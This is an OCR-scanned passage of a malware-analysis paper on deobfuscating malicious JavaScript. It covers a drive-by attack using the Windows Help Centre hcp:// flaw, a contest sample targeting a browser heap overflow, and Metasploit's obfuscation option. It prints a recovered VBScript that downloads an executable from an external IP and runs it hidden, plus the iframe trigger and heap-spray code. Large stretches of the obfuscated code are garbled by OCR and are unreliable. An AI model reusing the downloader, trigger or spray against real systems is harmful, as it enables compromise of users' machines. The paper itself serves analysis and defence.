e A goovhsEnu Y </ soripts T S OOCUMENT . whItel 1T rame J;

For better clarity, we can rewrite it and the contents of go.vbs file are:

FileName = "%TEMP%/file.exe
url="http://69.194.192.229/q.php?f=7245d&e=5"
Set objHTTP = CreateObject("MSXML2.XMLHTTP")
Call objHTTP.Open("GET", url, False)
objHTTP.Send

set oStream = createobject("Adodb.Stream")
Const adTypeBinary =1

Const adSaveCreateOverWrite = 2

Const adSaveCreateNotExist = 1

oStream.type = adTypeBinary

oStream.open

oStream.write objHTTP.responseBody
oStream.savetofile FileName, adSaveCreateNotExist
oStream.close

set oStream = nothing

Set xml = Nothing

Set WshShell = CreateObject("WScript.Shell")
WshShell.Run FileName, 0, True

Page

21



Set FSO = CreateObject("Scripting.FileSystemObject")
FSO.DeleteFile

This is executed using,

cscript %TEMP%/go.vbs>nul

at the end of the script.

What exactly triggers the execution of our code?

var iframe='<iframe
src="hcp://services/search?query=anything&topic=hcp://system/sysinfo/sysinfomain.htm%A%%A%%A
% %A% %A% %A% %A% %A% %A% %A% %A% %A% %A% Y%AY% %A% %A% %A% %A% %A% % A% %A% %A% %A% YA
% %A% %A% %A% %A% %A% %A% %A% %A% %A% %A% %A% %A% %A% %A% %A% % A% Y% A% I A% A% A% LA
% %A% %A% %A% %A% %A% %A% %A% %A% %A% %A% %A% %A% %A% %A% %A% % A% % A% %A% A% AY%IA
% %A% %A% %A% %A% %A% %A% %A% %A% %A% %A% %A% %A% %A% %A% %A% %A% % A% % A% %A% %A% Y%A

%%A%%A% %A% %A% %A% %A% %A%KRA.. %5C..%5Csysinfomain.htm?svr=<"+'script defer>

There is vulnerability in Microsoft Windows Help Centre, helpctr.exe in the way it performs URL
Normalization. The registered protocol handler, hcp:// is exploited.

It allows code execution and in our case, the above VB Script is executed.

More details of the vulnerability can be read here:

http://www.exploit-db.com/exploits/13808/

CVE for this Exploit: CVE-2010-1885
What does the VB Script do?

It downloads content from http://69.194.192.229/q.php?f=7245d&e=5, writes it to file.exe in the temp
directory of the system and executes it using, WshShell.

This way we can see that how well an obfuscated JavaScript can hide the actual functionality.
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http://www.exploit-db.com/exploits/13808/

Breaking Point Obfuscated JS Challenge

Now that we have taken a look at a complicated obfuscated JavaScript, let us take a look at another one
which uses yet again a few new tricks.

This time, | will take the Obfuscated JavaScript which was given in the Deobfuscation Contest conducted
by Breaking Point Systems in September, 2011.

It uses several neat tricks. The code looks as shown below:

1f(uUHI]MJVFJET 1ndexof((—~—~ zgﬁq [?20094129 toStr1ng(32<<0)+““]>(0x2* —————— "tk [F20094129, . tostring(l6<<1)+""]1+307(functi
) { wvar hsey="iC",HgwL="z",hhme=" FTva— pthtYe oheBc="dz"; return hhme+0th+HgWL+FTva+bseY

})() 421389006 toStrwng(32<<0)+”“)) 'f =y [720094129 toStr1ng(16<<1)+”“]) 1 return (function () { wvar

BMIT="0w',jEgm="aFa'; return ngm+BmIT C; 3

1f(uUHI]MJVFJET.1ndexof(str1ng. romcharcode(Ox?B,0141,0146,0x61,0162,0x69)) l= -'R'[F20094129. . tostring(l<<50+""]1) {

return

(—~—~'PmIGB'[720094129..toString(16<<1)+””]<( y' [720094129 ctostring(2<<d )+ "] H01241 )7 " M +19. L tostringflee 54+ "L+ "M "+21. . tost

ring(16<<1)+"": (function (3 { var cguz="Ijga",nwHo="oPa"; return nvHo+cguz 110105

1f(uUHI]MJVFJET indexof (750158, toStr1n (16<<1)+"“j 1= - [?20094129 toStr1ng(8<<2)+"“ 1 return

¢ FPPOHX | [?20094129 tDStr1ng(2<<4j+ - 6)>((022“0x1+0)“ d' [?20094129 LTostring(la<<dl)+ " " ]+00 7 (function ) { war

dvxh=" ch L 2w yoanovG Fk]z Osr return Fk]2+2YWJ+JVxN 1310 H (funct10n ) wvar

Doo="g' wawe— B' ,wWcal= DDpx- ‘Homzfya', xMz8='U'; return Woal+xMzB+DDhpx+wawe+plUudtoNoo 1)) T

Af CUUHI § MJVFJET 1ndex0f(((( f [?20094129 toStr1ng(4<<3)+"“]*25+3)” [720094129. tostr1ng(2<<4)+”“]+0)<(1*16+0)7363 .tostrin

(32<<0%+ 'C"+31. . tostring 320+’ w“+1?81?1?1 LtoString(la<c<d )+ T : String.frumcharcude(OlSG 0l45,0164,115, 99,0141, 0160,0x65))

1= -'g' [?20094129..toStr1ng(32<<0)+”“]) { return

(('I'[?20094129..tDString(8<<2)+““]*0xe+2j>( —————— ‘D' [F20094129. . tostringfle<<l)+" "] ¥ —mn—n'xn ' [F20094125, . toString(8<<2)+" " ]J+1

J7¢function QO 1 war oSwZ="adsE",xhEM="YgDK¥T"; return xhBM+OSw2 })():String.framcharcode(0111,114,0116,?0,?9,122)); T

1f(uUHI]MJVFJET 1ndexof((—~ oh' [?20094129 toStr1ng(32<<0)+””]< o] [720094129 tDStr1ng(2<<4)+““]7(funct1on () 1 war

Itdc="guMl", BsvG="J0eqwc"; return BsyYa+Itdc Jr(function € { war pCoj="5.0",yHIn="z", sofR="m", hgun="111a,", Tjva="0";
return SDfR+T]vA+yHJn+hgvn+PCO] })())) = - J [?20094129 Ltostring(le<<1+""]) ¥ return

"WU4B37. . tostring (B2 i+’ + 2"+ "H G K+ W return

((2*0xb+l)>(0x2*5+1)°“H”+“E +14798 toStr1ng(l<<5)+“Y“+ B"+28..tostring(32<<0)+"T"+"M"+"1"+29. . tostring2<<4 0+ "v "+ "v" : (Functi
on ) { var hvLa="fT", ghsz="cIH" GwIk_“hwzx return GwIk+gth+hYLa })%)), T function p]Skrbvs(FSsztHEbuMDLw potdvHbBaw I {
var UMa = []; war vfoatheBIver =

(R FOwCL' [F2005941259. . tostringCd<<3)+""]>02%('u' [720094125. toStr1ng(4<<3)+ ] CLHOxTHOI4+4 I+30720, L tosSTringle<<l )+ "L +1
2o tostringfd<<3)+"C"+13. L tostringl<<5S)+"2"+22. toStr1ng(l<<5)+“F”+“ " bH while{potdvHbBav. Tength <

FszojtHkbumMbLw. Tength) 1 potdvHbBay += OtdebBav, Foofor(d o= 'a'[720094129. . tostring(2<<d]+""]; i

(e e 'rv'[?20094129..toStr1ng(32<<0 +"" W H [?20094129 .tostrin (2<<4)+““] (‘o' [720024129. toStr1ng(4<<3)+"“] (2%0xa
+50430430470; T++0 umalstring. fromcharcode(i)] = 1; T for(w = MI' [F20094129. tostr1ng(8<<2j+ -2 1 =
FszgjtHkbumMDLw. Tength; i++) { vioamyteBIveyp += Str1ng.fromcharcode(UMa[FSzQ]tHkbuMDLw substrid,

"AN 720084128, ctostringl8<<2)+" " 101 A uma[potdvHbBav.substr(i, ‘m'[F20094129..toString(2<<42+""1070; T return
vioamyteBIveyp;

CUxFoLPxwL={T. va1ue0f UxFOLPxwL () [490837. tostr1ng(4<<3)+ ](p]skrbvs((vvtozgp 1y walueof, vwiozgP()) [L0559877309438. . tostring
(8<<2)+““]((( grP' [720094129 toStr1ng(l<<5)+”“]*0x5+4)>( Crmomn’ [F200941209, tostr1ng(32<<0)+”“]“3+2)7(Funct10n 3 wvar
EapR="grcm", JKEd="x", TauD="SzDgm", fIyv="xp",UsNt="1"; return IAuD+USNt+JKEd+fva+EapR

})():Str1ng frDmCharCDdE(B?,0x75,48,0XB0,0x30,9?,045,0x?5,48,0x30,49,0141,0x25,11?,OXB0,060,0x32,063,0x25,0165,48,0x30,0x32,5
0,37, 0165,48,48, 50, 0x64, 37, Ox75, 060, 45,48, 0x61, 0x25, Ox75, 060,48, 063, 0x37, 045, 0165,48, 0x30, 48, 070, 0x25, 0165, 0x30, 060, 52, 0142, 0
w25, (165, Ox30, 0x30, 051, Ox35, 045,117, 060, 060,49, 060, 37, OLA5, 060, 458, 061, Ox&6, 045, 0165, 0x30, 0x30,48, 53,045,117, 0x30, 060, 51, 54, 04
5, 0x75,0x30,0x30,50,067,37, 075, 0x30,48, 0x33, 0142, 37,0x75,48,080,48, 0xa4 045,117,458, 060, 063, 0x31, 37,117, 0x30,0x30,48, 98,045, 0
165,060, 060,062,100,045,117, 0x30,060, 0x31,0x32,37, 0x75, 060,48, 0x32,102,045,117, 0x30, 0x30,48, 065, 0x25, 0x75, 060, 060, 066, 01446, 37
,0x75, 060, 060, 060, 54,37,117, 060, Ox30, 0x30,52, 37,117, 0x30, 48, 0x31,100, 045, 0165, 060, 060, 062, 55, 37, 0165, 48, 0x30, 0x33, 51, 045, 0165
L 030, 0%30, 060, 064, 37,117, 060, 48, 063, 0145, Ox25, 0165, 48, 060, 063, 0x34, 37,117,458, 0x30, 061, 99, 045, 0165, 458,48, 062,102, 37, Ox75, 48,4

The above is a snippet of the obfuscated code. You can get the complete code here:

http://www.breakingpointsystems.com/default/assets/File/blogresources/JavaScript-obfuscation-
code.txt

Once again, | will mention the list of tricks used here:
Trick 1:

Strings represented as numbers using Base Conversion with Radix 32.
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Here, the Radix 32 was represented as a bitwise XOR operation between 2 numbers.

A bitwise left shift is essentially equivalent to multiplying the number with 2 (exponent the number of
left shifts)

Some examples:
16<<1=16*27r1=32
2<<4 =2 %20 =32

4<<3=4*2/3=32

In JavaScript, the toString() function is used to convert a Number to String. When supplied the radix
value of 32 to this function, it essentially converts the Base to 32 from decimal.

An example would help to understand better.
720094129. toString(16<<1)+""

720094129 is in Decimal (base 10).
16<<1 =32 as we have already seen above.

720094129..toString(16<<1)+"" = 720094129..toString(32)+""

We need to find out the Base 32 value for 720094129 in Base 10.

You can use this site for Base Conversion:
http://www.convertit.com/go/convertit/calculators/math/base_converter.asp
The number, 720094129 in Base 32 is equivalent to the String, "length"
720094129..toString(32)+""= length + "" = length

Trick 2:

Representing Numbers as an Expression operating on Strings.

A clever trick was used to represent numbers, especially small numbers (0-9) as an Expression Operating
on a String.

1 could be represented as the Length of a Single Char.
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'C'[length] =1

But we know from above analysis that the string "length" can also be written as:
720094129..toString(32)+""

so, 'C'[720094129..toString(32)+""] =1

In the JavaScript given to us, there are several "if" expressions evaluated. Let's take one as an example
and the same approach can be extended to the remaining.

if(UUHIJMJVFJET.indexOf(String.fromCharCode(0157,1 12,0145,114,97)) != -
'Z'[720094129..toString(16<<1)+""])

'2'[720094129..toString(16<<1)+""] =1

So, the above "if" expression reduces to:

if(UUHIjMJIVFJET.indexOf(String.fromCharCode(0157,1 12,0145,114,97)) != -1)

This brings us to the next step of Obfuscation.

Trick 3:

String represented as Char Codes.

Char Codes were represented in different formats, either base 10 (dec), base 8 (oct) and base 16 (hex)
String.fromCharCode(x)

This JavaScript function will return the Character Corresponding to the ASCII Code, x.

Important thing to note here is, the number 'x' passed as an argument to this function, should be in
decimal format. It shouldn't be either hex or octal. And if it is in another base, it gets converted
internally by the JS Interpreter to base 10.

If we look at the above sample "if" expression, we can see some octal entries too.

| wrote a short Perl Script at the time of the contest which would automatically parse a comma

separated list of a mixture of numbers in different format and convert them all to decimal (base 10)
format.
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It turned out to be really useful and saved a lot of time. As you will see later when we come to the stage
of XOR decoding. This script saves a lot of time.

For instance,

There was an "if" expression in the obfuscated javascript as given below:

if(WUHIMIVFIET.indexOf(String.fromCharCode(0157,1 12,0145,114,97)) != -
'Z'[720094129..toString(16<<1)+""])

{
return String.fromCharCode(0x6d,0x61,0x54,0150,76,0114,01 32,113,0x50,0155,114,0x72,0x46,0x53);

}

'2'[720094129..toString(16<<1)+""] = 'Z'[length] = 1

if(UUHIJMJVFJET.indexOf(String.fromCharCode(0157,1 12,0145,114,97)) !=-1)

{
return String.fromCharCode(0x6d,0x61,0x54,0150,76,0114,01 32,113,0x50,0155,114,0x72,0x46,0x53);

}

Now we need to simplify the String.fromCharCode section.

You can use this site to convert String.fromCharCode from a String of Numbers to Characters:

http://www.gooby.ca/decrypt/decoders/ord2char.php

If you input, 0157,112,0145,114,97 in the input box on the site, you will get some weird characters:

Ep‘ra

Similarly, try to input, 0x6d,0x61,0x54,0150,76,0114,0132,113,0x50,0155,114 ,0x72,0x46,0x53 and
observe the result.

=6-Lr,q2>rH.5
This was the reason, | mentioned above. These values should be in base 10 decimal and not octal or hex.
In the obfuscated javascript, a mixture of base 10, base 16 and base 8 numbers were included to trick

the reverser.

This is where the perl script comes in handy and saves us the time.
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0157,112,0145,114,97 = 111,112,101,114,97 = opera
0x6d,0x61,0x54,0150,76,0114,0132,113,0x50,0155,114 ,0x72,0x46,0x53 =
109,97,84,104,76,76,90,113,80,109,114,114,70,83 = maThLLZqPmrrFS

Note: If you do not want to use the perl script to perform the CharCode conversion, you can use the
Web Console's JS interpreter to get the value as well.

Ok, so now our above "if" expression reduces to:
if(uUHIjMJVFJET.indexOf(opera) !=-1)

{
return maThLLZgPmrrFS;

}

It is important to understand this part of the code. Here, uUHIjMJVFJET variable will store the user agent
(in lowercase) of the victim's browser. We check whether or not the victim is using an Opera Browser. If
the victim is using Opera Browser then we return a Random PreGenerated Passphrase,
"maThLLZgPmrrFS".

This is the passphrase which will be used to decode the XOR encoded payload which we will see later.

There are multiple if statements which will check for the different browser types and depending on that,
will return the corresponding passphrase.

Trick 4:

Addition Operation was replaced with special symbols.

If you preceded a Number, N with '~ symbol. It becomes -(N+1)

~N =-(N+1)
-~“N = N+1

So, by prefixing -~ to a number N, we are in a way adding 1 to it.

If you want to add 3 to it, just prefix it with 3 occurrences of the above combination of characters.

~~~N=N+3

For instance, the "if" expression below,
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if(UUHIJMJVFJET.indexOf((-~-~'zgBq'[720094129..toString(32<<0)+""]>(0x2*-~-~-
~'tlk'[720094129..toString(16<<1)+""]+3)?(function ()

{ var bseY="iC",HgWL="z",hhme="q",FTva="pmhltYe",ohBc="d Z"; return hhme+ohBc+HgWL+FTva+bseY
1():421389006..toString(32<<0)+"")) = -'v'[720094129..toString(16<<1)+""]) { return (function () { var
BmIT='QW' jEgm="aFa’; return jEgm+BmIT })(); }

First, we will do all the Conversion from Base 10 to Base 32 to get the corresponding Strings.

if(UUHIJMJVFJET.indexOf((-~-~'zgBq'[length]>(0x2*-~-~-~'tIk'[length]+3)?(function ()
{ var bseY="iC",HgWL="z",hhme="q",FTva="pmhltYe",0hBc="d Z"; return hhme+ohBc+HgWL+FTva+bseY
N():chrome+"")) I= -'v'[length]) { return (function () { var BmIT="QW',jEgm="aFa’; return jEgm+BmIT })(); }

Focus on this section:
-~-~'zgBq'[length]>(0x2*-~-~-~"tlk'[length]+3)
'zgBq'[length] = 4

-~-~'zgBq'[length] =442 =6
-~-~-~tlk'[length] =343 =6

Using this knowledge, we can reduce the above "if" expression to:

if(UUHIJMJVFJET.indexOf((6>(18)?(function ()
{ var bseY="iC",HgWL="z",hhme="q",FTva="pmhltYe",ohBc="d Z"; return hhme+ohBc+HgWL+FTva+bseY
N():chrome+"")) !=-1) { return (function () { var BmIT='"QW',jEgm="aFa’; return jEgm+BmIT })(); }

Let's substitute the variable names:

if(UUHIJMJVFJET.indexOf(chrome)) = -1)

{
return (function () { return aFaQW })();

}

There were many places, where you can see, (function () { return x })() entries present. | hope it is
obvious that this does nothing but returns the value x.

So, the "if" expression reduces further to:
if(uUHIjMJVFIET.indexOf(chrome)) 1= -1)

{
return aFaQW;

}
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This section of the code, once again looks similar to our previous "if" expression. It returns the random
passphrase, aFaQW if the victim's browser is Chrome.

Now, that | have mentioned the tricks used in this obfuscated JavaScript, we will can see the result of
applying them. We can deobfuscate a considerable amount of the code to the following. | have added in
appropriate comments wherever needed:

function wprcm()

{

var UUHIjMIJVFJET = navigator.userAgent.toLowerCase(); /* retrieves the Browser's User Agent and
converts it to lowercase. */

if(uUHIjMJVFIET.indexOf(opera) !=-1) /* is the browser Opera? */
{

return maThLLZgPmrrFS; // the Random passphrase which is returned depending on the Browser Type

}

if(uUHIjMJVFIET.indexOf(firefox) !=-1) /* is the browser Firefox? */

{
return (loMAYcXfkUsG);

}

if(WUHIJMJVFJET.indexOf(chrome) != -1) /* is the browser Chrome? */

{
return (aFaQW);

}

if(uUHIjMJVFIET.indexOf(safari) |=-1) /* is the browser Safari? */

{
return (MjLMI);

}

if(uUHIjMJVFIET.indexOf(msie) !=-1) /* is the browser Microsoft Internet Explorer */

{
return (nUHCmZfyQBLAg);

}

if(uUHIJMJVFJET.indexOf(netscape)) !=-1) /* is the browser Netscape? */

{
return (IrNFOz);

}
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if(uUHIjMJVFIET.indexOf(mozilla/5.0) !=-1) /* Is the browser Mozilla? */

{
return VjtxHZHGKWT;

}

return HEeeeYBsTMItYY; /* If none of the above User Agents were detected then return this value */

function pjSkrbvs(FSzQjtHkbuMDLW, pOtdvHbBav)
{

var UMa = [];
var VfoamYteBlveYp ="";

while(pOtdvHbBav.length < FSzQjtHkbuMDLW.length)

{
pOtdvHbBav += pOtdvHbBayv;

}

for(i = 1; i <= 255; i++)
{
UMa([String.fromCharCode(i)] = i; /* ASCII Table */

}
for(i = 0; i < FSzQjtHkbuMDLW.length; i++)

{
VfoamYteBlveYp += String.fromCharCode(UMa[FSzQjtHkbuMDLW.substr(i, 1)] A

UMa[pOtdvHbBav.substr(i, 1)]); /* The XOR decoded result is stored in VfoamYteBlveYp */
}

return VfoamYteBlveYp; /* This returns the XOR decoded String to the eval function to execute */

eval(pjSkrbvs(unescape((String.fromCharCode(37,117,48,48,48,97,....... ))), wprem()));
Based on the above, we write the Algorithm Logic as:
Function #1:

function wprecm():
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This function detects the user agent of the browser of the victim. It will check the user agent and
depending on the Browser Type, it returns a Random Generated Password.

The main function call in this obfuscated JavaScript is at the bottom of the script:
eval(pjSkrbvs(unescape((String.fromCharCode(<XOR encoded JavaScript Code>),wprcm()));
Function #2:

The decoding Function, pjSkrbvs(FSzQjtHkbuMDLW, pOtdvHbBav)

This function takes two arguments as input.

FSzQjtHkbuMDLW: This is the XOR encoded JavaScript.
pOtdvHbBav: This is the Random Passphrase which is used to decode the XOR encoded JavaScript.

At first, the Random Passphrase is expanded according to the length of the XOR encoded JavaScript. The
ASCII Table is stored in an array which would be needed later during the decoding phase.

for(i = 0; i < FSzQjtHkbuMDLW.length; i++)

{
VfoamYteBlveYp += String.fromCharCode(UMa[FSzQjtHkbuMDLW.substr(i, 1)] *

UMa[pOtdvHbBav.substr(i, 1)]); /* The XOR decoded result is stored in VfoamYteBlveYp */
}

This is the FOR loop where the XOR decoding takes place.
It calculates the XOR of the ASCII values of each corresponding character from the Encoded JavaScript
Payload and the Random Passphrase. The result of this XOR operation is then converted from the ASCII

Code to Char using String.fromCharCode() function.

At the end of the function, VfoamYteBlveYp holds the entire XOR decoded JavaScript which is returned
to the calling function, eval()

Xor Decoder:
Once again, like | did in the second section. To decode the payload, | will use specific sections of the
original obfuscated code which will help in decoding. This way, | prepare a new HTML file that looks as

shown below:

<html>
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<title>XOR Decoder</title>
<script type="text/javascript">
function pjSkrbvs(FSzQjtHkbuMDLW, pOtdvHbBav)

{
var UMa = [];
var VfoamYteBlveYp ="";

while(pOtdvHbBav.length < FSzQjtHkbuMDLW.length)

{
pOtdvHbBav += pOtdvHbBav; /* Expand the Random Passphrase according to the length of the XOR

Encoded JavaScript */
}

for(i=1; i <= 255; i++)

{

UMalString.fromCharCode(i)] = i; /* This forms the ASCII Table and stores it in the Array, UMa[] */
}

for(i = 0; i < FSzQjtHkbuMDLW.length; i++)

{

VfoamYteBlveYp += String.fromCharCode(UMa[FSzQjtHkbuMDLW.substr(i, 1)] A
UMal[pOtdvHbBav.substr(i, 1)]); /* XOR decoding happens here. */

}

document.write(VfoamYteBlveYp); // this is decoded Javascript returned to the calling eval() function

}
pjSkrbvs(unescape((String.fromCharCode(37,117,48,48,48,97,37,117,48,48,49,97,37,117,48,48,50,51,37
,117,48,48,50,50,37,117,48,48,50,100,37,117,48,48,48,97,37,117,48,48,51,55,37,117,48,48,48,56,37,11
7,48,48.......... ))), "loMAYcXfkUsG");

</script>
</html>

Since | am using Firefox, | have supplied the passphrase "loMAYcXfkUsG" which corresponds to Firefox
user agent.

Once | open this HTML Page with Firefox, | have the decoded output. This is another layer of
obfuscation.
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<

vaScript Application]

X0R Decoder +

function LeXitjzTRSKyzw(jkPFigfRwzD){
var waTEhPY Iyl = (ZlwnwgQaGePL=_} valueOf, zlwrwoaGoPLON[472851249021 . taString(2 < <4)+""].createElement{jkPFigfRwzD);
waTEhPYTylid = {function {3 { var sBCT="zajlx", PhIW="g", xWwp="Hvo" nGNM="Cli5",sLOI="NG"; return xWwp-+sLOI-+PhIW-+nGEMM+sBCT 10;
(doksagrawH={} valueOf, dOkSagPaWH{I[472851 249021 ., koString{16< <1)+""].body . appendChild{y G TERPYIvI);
var ubEtH = (FOinDoWREWTI={}, valueOF, FOinDoWXEWIN (4725851249021 . kaString(2 < <4)+""], getElementById({-r-re-r"YxiQH[ 720094129,  boString(1 6 < <1 )+"]=
(2% 1cees 720094129, boStringl4 < <3+ " HHITP"F +""+ 747, LoString(2 < <41+ 0"+ 3147 1. baString 2 < <4+ ™ String. fromCharCode( 72, 0x56, 111, Ix4e, 51,0145, 0103, 108,0151,0x53,01 72, 01157,
war ENYrZgxE = new Array();
For{ZTaIEHbe in UbEEH) §
ifitypeof (UBEEH[ZTAJEHDE]) == {-rs-ro-ra-ce-n! B 720094129,  boString(S< <2)+" ] <(03*1 0457970836720, boString(8 < <23+ (Function {) { var BcZe="1k",FzcN="L", FwNQ="SiwCxa",whCi="r";
FuMQ+whiCi+FzcM+-BoZe F |
ENYrZa¥B. pushiZ TAIEHbE);
b

F
(EDmYFSIqBXY=4}.valueOFf, GDmWFSIqBRW([4725851 249021 . .kaSkringi2 < <4)+""].body . remaveChild{yGTERPYIyI);
return ENYrZgrE;

var GYMACOVYWMICHD = new Array(11482712, toString{8 < <2)+", ({"'[720094129, .kaString(l < <5)+"] - 1)<-~'a'[720094129, toString(§ < <2)+""]?{function () { var lckb="a"; return Ickb
1i03:5tring. fromCharCodel0x54, 0165, 04 1,0107,0131, 046, 0x6d, 0265, 0x6a,0147,01417), {-r-r'wu[720094129, koString{ 32 < <0)+""] =-r-~'0 (720094129, koString(8 < <23+ ?(Function () { var
GEel="g" yQzW="bas"; return yQzW-+GEel })():21. . kaString(2 < <4)+"D"+25, .koString( 1 <<5)4+"G"+"w"+"0"+19, .koString(4 < <34+ "L"+"A"+"5"+ 1021, .koString(8 < <234+
For(FFCQLDBYDxYg = (NThzz1[720094129, koSkring(32<<0)+""] - 63; FFCOIDEYDxYg < (" [7F20094129, koString(32 < <0)+""T*(1 *031 475+7251 1+14774); FFCQEDEVDuYg++) {
for{RRaTENSjIuAD = {wr'[720094129, toString(1 <<5)+"] - 2); RRaTtNSjIuAC < GYMACOwWMICdd. length; RRATERSjIUACH+) {
var tNYrZguE = LoXiviz TRSKyzyw{GYMACQuwwWMICdd[RRaTENS JuAoT);
Far{ZIrkiEirsmcRNGG = (JZE (720094129, .kaString{1 < <5)+""] - 3); ZIrkiEirsmcRNGQ < tNYrZgxE.length; ZIrkEirsmeRMNOO++) {
war Kegtld = {function {3 { var mdQp="<"; return mdQp }){) + GYMACQwWMICAd[RRATENSIuAC] + {{1*{5*xkzh' (720094129, toStringl4 < <3)+" H24+1 =01 #(02*
('a[720094129, toString(8 < <2)+" T*-~'OHcel[ 720094129,  koStringi2 < <4+ [+5)+7)+2)75tring. fromChar CodeiDx 43,0161, 108,71, 78):5tring. fromCharCode( 3233 + ENYr2gxB[ZIrkiEir¥mcRHNGG]
mromre-re-nYO[ 720094129, boString (S < <23+ ]?"0"+"T"+14. .koString{ 16 < < 1)+"":{Function ) { var KRyR="<", J2lC="=a>"; return J2lC+KRyR )0 + GYMACCWMICAd[RRaTERSjuAO] +
String. fromCharCodelx3e) + GYMACOwWIMICAA[RRATENSjIUAC];
(RZISrWMEppP={} valueOf RZISHWMGPPP{N[472851 249021, . toString(2 < <41+ ] write(KeqtLd);
i

+
t

However, the same tricks as before are used so, | will not go in depth.

Applying the same methods once again, we get the deobfuscated Javascript as shown below:

function LexivizTRSkyzv (JkPFigfRwzD)

var yETthPyIyl = document. createElement{jkPfjgfrwzD);
wETthPYIyl. id = Hvongecliszojmx;

document. body. appendChildCyaTthPyIy1);

war ubEtH = document. getelementById(HvoNgeCTiszoin=0;
var tMYrZOxE = new Array();

for{zTaledbe in ubEtH)

if(typeof (ubEtH[ZTAJEHbe]) == (string))

TNYFZO«E. push(ZTAIEHDE];

J

document. body. removechi 1d(yETthPy Iy );

return THYrZo<e;
h

Ear GvMdcowwmicdd = new arrayaudio, a, base);l

for (ffootoBvDxyy = 0; FFCOtDBVDxYg < 35172; fFRCOLDBVDXYO++)

for{RRaTLNSjIuAC = 0; RRaTLtnSjJuad < GvMdcowwMlcdd. Tength; RRATLAS]IUACHH)
1

var TNYrZgxE = LoxiyjzTRSKyzv (GvMdCowwMICdd [RRATTNS]IuAC]D;

for(zZirkiEir=mcRNQG = 0; ZIrkiETrXmcRNQO < tNYrZgxE. length; ZIrkTETr-mcRNQO+H+)

var kKegtld = "<" + Gumdcouwmilcdd[RrRaTtnsiIuac] + (String. fromcharcode(320) + tMyrZogxg[ZIrkiEir=mcRnGn] + 0Te
+ GvmdCovwmilCdd [RRaTENS] Juac] +

document.write(kegtLd);
H

This JavaScript code will exploit a Remote Heap Buffer Overflow Vulnerability in the Victim's Browser.

The CVE Code for the Vulnerability is: CVE-2010-3765
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The above code is passed to the eval() function, which will run it in the context of the browser.

JS Obfuscation in MetaSploit Framework

MetaSploit Framework has a rich library of exploit modules. With respect to JavaScript Obfuscation, we
are interested in Browser Exploit Modules library in MSF.

Majority of Browser Vulnerabilities are triggered using a JavaScript during Exploitation Phase. It is
common to see a JavaScript being used to create a heap spray payload which consists of Shellcode and a
Nopsled.

It is also used to trigger the vulnerability in the browser to get the shellcode sprayed over the browser
heap to execute.

Due to the use of JS as an attack vector in Browser Exploits, there arises a need to detect malicious JS in
web pages. Antivirus Engines have the capability to detect malicious JS in a web page.

However, just as is the case with Online JS Unpackers, there are certain limitations in AV Engines
Detection Capabilities as well. These were exposed in Section Il and Il above.

We are going to take a look at JS Obfuscation Support provided in MSF.

At first, let us see the total number of Browser Exploits in MSF with the latest update at the time of
writing.

#1s -1 | wc -1

# ls | xargs grep '<script' |

So, there are a total of 162 Browser Exploit Modules among which, 147 use JavaScript to trigger the
vulnerability in Browser or to craft the memory layout of Browser.

Now, as an example, let us pick one Browser Exploit to understand the options with respect to JS
Obfuscation available to us.

| will take the exploit module: ms11_003_ie_css_import as an example.

It exploits a Memory Corruption Vulnerability in MS Internet Explorer’s HTML Engine. It comes under the
use-after-free vulnerability class where a C++ Object is first deleted and later accessed. Specific to this
exploit, web page must contain Recursive CSS Imports.
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| will show the sections specific to JavaScript and how it is used to build the Heap Spray and later on
obfuscated.

register options(

OptBool.new('OBFUSCATE', [false, 'Enable JavaScript obfuscation', t

1, self.class)

The exploit module provides us an Option to Enable JavaScript Obfuscation.

# Format for javascript use
special sauce = Rex::Text.to unescape(special sauce)

js_function = rand text alpha(rand(100)+1)

# Construct the javascript

custom js = <<-EO0S
function #{js function}() {
heap = new heapLib.ie(0x20000);
var heapspray = unescape("#{special sauce}");
while(heapspray.length < 0x1000) heapspray += unescape("%u4444");
var heapblock = heapspray;
while(heapblock.length < 0x40000) heapblock += heapblock;
finalspray = heapblock.substring(2, 0x40000 - 0x21);
for(var counter = 0; counter < 500; counter++) { heap.alloc(finalspray); }
var vlink = document.createElement("link");
vlink.setAttribute("rel", "Stylesheet");
vlink.setAttribute("type", "text/css");
vlink.setAttribute("href", "#{placeholder}")
document.getElementsByTagName("head")[0].appendChild(vlink);
}

1£0S
This is the section where JavaScript is used to craft the memory layout of the IE Browser.
#(special_sauce} refers to the payload constructed in the script.

Before the highlighted section, we can see that js_function name is generated randomly using
rand_text_alpha function.

Js_function = rand_text_alpha(rand(100)+1)

The resulting JavaScript is stored in custom_js placeholder.

if datastore['OBFUSCATE']
custom js = ::Rex::Exploitation::ObfuscateldS.new(custom js, opts)
end

js = heaplib(custom js)

This section will use the ::Rex::Exploitation::ObfuscatelS.new library to obfuscate the JavaScript crafted
before, if the OBFUSCATE option was set to True in the Exploit Module.

The resulting obfuscated JS is stored in the variable js.
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# Construct the final page
html = <<-EO0S

<html>

<head>

<script language='javascript's>
#{js}

</script>

</head>

<body onload='#{js_function}()'>

<object classid="#{dll uri}#GenericControl">
</body>

</html>

EOS

The final malicious web page is constructed using the Obfuscated JavaScript crafted before.
#{js} -> refers to the Obfuscated JavaScript

#{js_function} -> refers to the randomly generated JS function name present inside #{js}. It is called
moment the Browser Loads the web page using onload event.

This is how the options look like when the exploit module is loaded in msfconsole. | have highlighted the
option for Obfuscate. It is set to true by default.

msf exploit(msll 003 ie css import) > show options
Module options (exploit/windows/browser/msll 003 ie css import):

Name Current Setting Required Description

OBFUSCATE Enable JavaScript obfuscation

SRVHOST yes The local host to listen on. This must be an address on t
local machine or 0.0.0.0

SRVPORT 8080 yes The local port to listen on.

SSL false no Negotiate SSL for incoming connections

SSLCert no Path to a custom SSL certificate (default is randomly gen

SSLVersion SSL3 no Specify the version of SSL that should be used (accepted:
SSL2, SSL3, TLS1)
URIPATH no The URI to use for this exploit (default is random)

[Exploit target:

Id Name

0 Automatic
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Conclusion

After reading and understanding the approach presented in this paper, you should be able to reverse
the existing methods of obfuscations used in malicious JS and also be able to extend it to tackle the new
tricks.
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